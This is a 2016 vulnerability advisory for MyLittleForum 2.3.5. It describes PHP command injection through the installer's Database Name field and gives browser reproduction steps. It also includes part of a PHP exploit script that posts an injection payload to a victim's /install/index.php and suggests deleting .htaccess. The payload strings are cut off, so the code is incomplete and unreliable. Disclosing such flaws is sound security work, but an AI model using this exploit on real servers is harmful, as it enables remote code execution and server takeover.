[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MYLITTLEFORUM-PHP-CMD-EXECUTION.txt [+] ISR: APPARITIONSEC Vendor: ================= mylittleforum.net Download: github.com/ilosuna/mylittleforum/releases/tag/v2.3.5 Product: =================== MyLittleForum 2.3.5 my little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded view (tree structure). The main claim of this web forum is simplicity. Furthermore it should be easy to install and run on a standard server configuration with PHP and MySQL. Vulnerability Type: ======================= PHP Command Execution CVE Reference: ============== N/A Vulnerability Details: ===================== When setting up mylittleforum CMS users will have to walk thru an installation script and provide details for the application like the forums email address, name, admin email, admin password, database name etc... However, no input validation / checks exists for that installation script. Low privileged users can then supply arbitrary PHP code for the Database Name. The PHP command values will get written to the config/db_settings.php file and processed by the application. Since we supply an invalid Database Name a MySQL error will be thrown but the injected PHP payload will also be executed on the host system. If the CMS is installed by low privileged user and that user has basic MySQL database authorization to run the install for the CMS it can result in a privilege escalation, remote command execution and complete takeover of the host server. The /config/db_settings.php is protected by .htaccess file but we can write directly to "db_settings.php" file and execute code directly from /install/index.php file bypassing any access control provided by the .htaccess file or we just delete it by adding call to PHP function @unlink('.htaccess') to our injected PHP payload. 1) Browse to http://localhost/mylittleforum-2.3.5/install/index.php 2) For Database Name input field enter the below PHP code for POC. ';?>,,,\r\n"; echo "================= by hyp3rlinx ===================\r\n"; exit(); } $port=80; #Default port $victim=$argv[1]; #IP $user=$argv[2]; #MySQL username $pwd=$argv[3]; #MySQL password $root_dir=$argv[4]; #/mylittleforum-2.3.5 $uri="/install/index.php"; #PHP CMD inject entry point $s = fsockopen($victim, $port, $errno, $errstr, 10); if(!$s){echo "Cant connect to the server!"; exit();} $CMD_INJECTTION="forum_name=PWN". "&forum_address=http://$victim/$root_dir/". "&forum_email=x@x.com". "&admin_name=$user". "&admin_email=x@x.com". "&admin_pw=$pwd". "&admin_pw_conf=$pwd". "&host=localhost". "&database=';?> Disclosure Timeline: ================================= Vendor Notification: No Reply June 27, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: =========================================== (High) 8.7 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. # Iranian Exploit DataBase = http://IeDb.Ir [2016-07-21]